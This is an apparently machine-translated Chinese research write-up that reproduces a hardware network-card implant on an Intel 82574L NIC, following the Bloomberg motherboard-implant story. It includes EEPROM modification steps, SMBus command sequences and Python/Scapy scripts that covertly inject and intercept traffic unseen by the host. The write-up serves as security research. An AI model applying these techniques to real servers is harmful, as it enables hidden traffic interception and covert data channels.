彭博社的报道称,一些植入物据称安装在主板上(
中国人使用微芯片控制美国计算机 )的故事并没有引起人们的注意。 之后,许多人分享了有关创建此类植入物的可能性的想法(他们的估计大小,能力或检测方法)。
几天后,
彭博社杂志发表了一篇带有其他证据的文章。 以下是引起我们特别关注的内容:
合法服务器以一种方式发送消息,以另一种方式发送消息,但是似乎所有流量都来自一个受信任的服务器。
有几种直接从主板与网卡进行交互的方法。 几个人表示您可以使用BMC(基板管理控制器-除了主通道之外还允许访问服务器的组件),它将允许植入物控制BMC并访问网卡。 但是这在实践中如何工作? 让我们看看是否可以重现此内容。
起始位置
让我们看一下NIC(
网卡 )和BMC之间的可能接口。 在专用通道上工作的主要协议之一是智能IPMI平台管理接口。
IPMI
维基百科说IPMI是“一个智能平台管理界面,旨在自动监视和管理直接内置在服务器平台的硬件和固件中的功能。 IPMI的关键功能是监视,还原管理功能,日志记录和清单,这些功能独立于处理器,BIOS和操作系统使用。 即使系统关闭,平台管理功能也可能可用。” 与我们所需要的非常相似。
以下流程图显示了可能的项目实施路径:

IPMI实际上为NIC定义了两个边带通道:SMBus和NC-SI。 NC-SI是最新的SMBus替代产品,支持更高的数据传输速度和其他新功能。 问题在于她需要更多的信号(大约10个),并且当我们使用植入物进行工作时,干预她的工作要困难得多。 因此,现在让我们来谈谈SMBus。
SMBus
SMBus (系统管理总线)是用于电源设备的串行通信协议。 单侧简单的两线总线,提供简单的通信。 最常用于计算机中以将主板与电源连接并打开/关闭指令。 基于微控制器中常用的
I 2 C总线。 该接口仅需要两个信号(时钟频率和数据),第三个信号是中断。 非常适合植入游戏协议。
初次接触
您必须很聪明,不能使用BMC访问主板。 通过研究服务器主板的技术特性,我们发现其中一些使用了
Intel 82574L芯片。 根据
文档 ,它提供了您所需的“ SMBus高级传递接口”。 最棒的是,它采用PCI-E卡格式。
SMBus访问
我们去了商店,现在我们有带82574L芯片的
英特尔EXPI9301CTBLK卡。 现在呢
该文档可以跟踪SMB_DAT和SMB_ALRT_N。 幸运的是,它们都可以在接触垫上使用。 一切似乎都很容易。
NIC PCB。 左上方-EEPROM,右上方-SMBus [ALRT | CLK | DAT]的连接器。 请注意,R39和R40已密封,禁止访问PCIe连接器的SMBus。我们连接了
I 2 C探针并扫描了SMBus,但没有任何有用的信息。 该文档说,仅当设置了特定的位寄存器时,才启用SMBus。 该值从EEPROM加载。 现在该进行深入研究了。
启用对SMBus的访问
该文档再次为我们提供了帮助。 对SMBus的访问取决于从NIC EEPROM加载的寄存器的值。 幸运的是,可以使用flashrom读取EEPROM。 通过转储EEPROM的内容,我们可以分析和更改值:
> ./flashrom -p buspirate_spi:dev=/dev/hydrabus --read /tmp/flash.dump
flashrom p1.0-87-g9891b75-dirty on Linux 4.18.12-arch1-1-ARCH (x86_64)
flashrom is free software, get the source code at https://flashrom.org
Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip "W25X40" (512 kB, SPI) on buspirate_spi.
Reading flash... done.
从NVM映射(文档的第6.1章)来看,很明显,我们需要更改两个值:
- 初始化控制字2 [MNGM](数据手册第6.1.1.6章)
- 兼容性[已连接ASF SMBus](数据表第6.1.2.1.1章)
- 兼容性[已连接SMBus](数据表第6.1.2.1.1章)
只需考虑在EEPROM中以小端格式存储数据。
之后,我们仍然需要处理Checksum的值。 第6.1.2.11章规定,[0x00-0x40]范围内的所有单词的总和应为0xBABA。 一点点Python将帮助我们计算正确的校验和:
import struct
data = open('/tmp/flash.mod', 'rb').read()
tot = 0
for i in range(0x3f):
tot = (tot + struct.unpack('<H',data[2*i:(2*i)+2])[0]) & 0xffff
print("Checksum word must be : " + hex(0xbaba-tot))
#Checksum word must be : 0x9efb
最后,我们对EEPROM所做的所有更改:
< 00000000: 6805 ca89 b22e 2004 46f7 8010 ffff ffff h..... .F.......
> 00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h.....0.F.......
< 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5a9c i...k.........Z.
> 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i...k.........Z.
< 00000070: ffff ffff ffff ffff ffff 3001 ffff 0bef ..........0.....
> 00000070: ffff ffff ffff ffff ffff 3001 ffff fb9e ..........0.....
进行更改并刷新EEPROM之后,我们连接了I
2 C探针,并且:
i2c1> scan
Device found at address 0x49
i2c1>
地址I
2 C编码为7位,我们需要的地址为0x49 << 1 = 0x92。
现在我们有了植入物的工作图。 我们可以向NIC发送命令:

接收信息
您可能已经猜到了,我们继续阅读文档,并向NIC发送经过特殊准备的命令,以验证一切是否按预期进行。
该文档描述了您在8.4.4章中需要了解的有关事务格式的所有信息。 唯一的区别是我们不需要计算PEC(SMBus的校验和,是针对每个数据包计算的)。 例如,我们可以使用以下顺序将CMD命令发送到
SLAVE地址:
[START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]
[START]和[STOP]是由I
2 C定义的START和STOP条件。
例如,读取MAC地址的命令(在8.8.2.3章中描述)将为0xD4。 我们以I
2 C模式将命令发送到SMBus:
[START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]
转到Hydrabus团队时,它将是:
i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ]
I2C START
WRITE: 0x92 ACK 0xD4 ACK <== [NIC address] [command]
I2C START <== Switch state
WRITE: 0x92 ACK <== [NIC address]
07 D4 | .. <== Read [length] [header]
68 05 CA 89 B2 2E | h..... <== Read MAC address bytes
NACK
I2C STOP
而且,是的,我们得到了我们的MAC地址!
制作植入物
现在,了解了如何与NIC通信之后,让我们看看如何使用此通道来窃取网络流量并通过网络发送数据。 文档的第8章介绍了执行此操作所需的所有步骤。
发送包裹
在第8.6和8.8.1章中介绍。 我们可以简单地使用命令创建一个以太网帧。 这是
Hydrabus或
Bus Pirate发送数据包的示例脚本:
import serial
import struct
from scapy.all import *
ser = serial.Serial('/dev/ttyACM0',115200)
def send_frame(pkt):
# Define the frame size
pktlen = struct.pack("B", len(pkt))
# Define the data length to be sent
fulllen = struct.pack(">h", len(pkt)+3)
# I2C write-then-read. Send frame + SMBus header, receive 0
ser.write('\x08'+fulllen+'\x00\x00')
ser.write("\x92\xc4"+pktlen+pkt)
# If packet has been sent successfully
if ser.read(1) == '\x01':
print "Send OK"
else:
print "Error sending"
ser.write('\x00')
ser.write('\x00')
ser.write('\x0F\n')
quit()
# Open Hydrabus in binary mode
for i in xrange(20):
ser.write("\x00")
if "BBIO1" not in ser.read(5):
print "Could not get into binary mode"
quit()
# Switch to I2C mode
ser.write('\x02')
if "I2C1" not in ser.read(4):
print "Cannot set I2C mode"
quit()
#Create the frame to send
p = Ether(src="11:22:33:44:55:66", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.31.32.82", dst="10.31.32.80")/ICMP()
#Send the frame
send_frame(str(p))
# Return to main binary mode
ser.write('\x00')
#reset to console mode
ser.write('\x0F\n')
运行脚本之后,您可以看到带有植入物的机器提供的软件包,最有趣的是,服务器本身根本看不到该软件包:
攻击者计算机左侧为Tcpdump,服务器右侧为Tcpdump阅读包
筛选
为了确定哪些帧应该进入SMBus,NIC使用了控制过滤器。 他们映射来自网络的流量,然后将其重定向到PCIe或SMBus,或同时重定向到PCIe。 从我们的角度来看,这为我们提供了极大的灵活性:
- 您可以通过设置将对其进行扫描并将其重定向到PCIe和SMBus的过滤器来跟踪流量。
- 您可以通过仅将流量定向到SMBus来使流量消失。
- 您可以创建一个隐藏的通道,该通道对于带有植入物的服务器将是不可见的。
最有趣的是,可以将过滤器配置为跟踪各种框架元素:
- UDP / TCP端口
- 虚拟局域网
- IPv4-IPv6
- MAC地址
- ...
(有关完整列表,请参见第8.4.2.1节)。
共有七个独立的MDEF过滤器[0:6],并且可以将每个过滤器配置为使用MANC2H寄存器将对应的流量重定向到SMBus上的PCIe(更多详细信息,请参见第8.4.3节)。
实作
事实证明,正确设置所有内容非常困难,我们尝试了许多不同的组合来使过滤器正常工作。 幸运的是,有关英特尔
应用程序的
注释为我们提供了有关如何以所需方式运行过滤器的更多详细信息。
使用我们的I
2 C探针,我们可以使用四个命令来配置所有这些:
//
[ 0x92 0xca 0x01 0x40 ]
// MDEF[0] , UDP/664 UDP/623
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ]
// MANC2H
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]
如第8.8.1.3节所述,有必要设置几个位以允许数据接收并将帧发送回我们的植入物。 我们之所以选择SMBus警报,是因为其他型号允许网卡向SMBus发出异步请求(有关详细信息,请参见第8.4.5节)。
阅读框
由于我们使用了SMBus警报方法,因此我们必须期望SMB_ALRT_N信号在发送“接收TCO数据包”命令之前关闭。 如果我们等待太长时间,则该数据包将被NIC拒绝。
为了说明该图,我们将定期发送帧并发送读取命令-只是为了确认该原理是否有效。 该方案如下所示:
- 带有植入物的服务器具有用于监视UDP / 623流量的过滤器(第3.6.1.2章)。
- 使用Hydrabus模拟植入物。
- 另一台服务器使用Scapy脚本发送属于过滤器的数据包:
from scapy.all import *
p=Ether()/IP(dst="10.31.32.81")/UDP(dport=0x26f)/"MALICIOUS PAYLOAD"
while(1):sendp(p)
事实证明,这很有趣:

SMBus在左侧读取帧;帧数据如下所示。 在右侧,在带有植入服务器的服务器上运行的tcpdump不显示传入的帧。
帧中继
通过更改MANC2H寄存器,可以确保发送到SMBus和PCIe的流量正确显示在服务器上。 例如,让我们创建一个拦截过滤器,该过滤器响应UDP / 161流量(SNMP)并将其发送到SMBus和PCIe:
//
[ 0x92 0xca 0x01 0x40 ]
// - 0 161 (0xa1)
[ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ]
// MDEF[0] , - 0
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ]
// MANC2H MDEF[0] PCIe
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]
通过启用过滤器,我们可以将SNMP请求发送到带有植入物的服务器,并查看拦截植入物的数据包。 同时,服务器响应该请求-这意味着数据包已正确重定向到SMBus和PCIe:
上面是从植入物截获的SNMP请求。 下面-SNMP请求到达了服务器。结论
我们描述了一种在NIC级别上引入小型且廉价的微控制器作为植入物的可能方法。 这样的植入物至少需要四个触点(Vcc,GND,CLK,DAT),并且可以控制服务器卡。 其功能包括:
- 侦听到服务器的传入网络流量。
- 在不了解服务器的情况下从网络接收命令。
- 通过网络传输数据,而无需服务器的知识。
在我们的示例中,为简单起见,将Hydrabus用作I
2 C / SMBus的接口,但这可以在小型微控制器(例如ATtiny85)上轻松实现(它的大小约为NIC的EEPROM的大小)。
但是,在现实生活中,只有SMBus才能使用这种植入物。 根据主板方案的不同,此设备可能是唯一可用的设备,因此将无法与服务器操作系统进行交互。 在需要完全控制操作系统的情况下,最好更改BMC代码,因为它已经可以访问所有有趣的总线,并且不会在主板上留下可见的痕迹。
这种植入物的另一个缺点是它可以以100 Kb / s的速度传输数据,这不足以全面研究流量。 另外,植入物仅能拦截来自网络的流量。 结果,与在目标设备中实施该解决方案所需的努力相比,该解决方案似乎无效。